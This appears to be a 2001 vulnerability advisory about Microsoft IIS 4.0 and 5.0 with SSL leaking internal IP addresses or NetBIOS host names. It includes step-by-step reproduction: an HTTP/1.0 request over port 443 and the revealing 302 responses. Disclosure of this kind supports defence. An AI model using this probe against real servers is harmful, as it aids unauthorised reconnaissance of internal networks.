(Links to External Site)
|
Date: Aug 8 2001
|
Impact:
Disclosure of system information
|
Exploit Included: Yes
|
Version(s): 4.0 with SSL, 5.0 with SSL
|
Description:
A vulnerability was reported by e-Synergies in Microsoft's IIS web server that allows remote users to determine internal IP addresses used by the web server or internal NetBIOS host names used by the web server.
A remote user can connect to the web server using SSL (on TCP port 443) and retrieve internal IP addresses or determine the host's network node hostname.
The following steps can be followed to trigger the vulnerability:
1- Browse the web site using a normal SSL browser and find any directory (i.e., https://[targethost]/images/icon.gif).
2- Using a compatible SSL Perl script, execute the following command once connected to port 443 of [targethost]:
GET /images HTTP/1.0
3- The result returned by the secure web server should look like this:
HTTP/1.1 302 Object Moved
Location: https://192.168.1.10/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
or
HTTP/1.1 302 Object Moved
Location: https://netbiosname/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
It is reported that using HTTP/1.1 in the request instead of HTTP/1.0 will not give the same results.
|
Impact:
A remote user can determine internal IP addresses used by the web server or internal NetBIOS host names used by the web server.
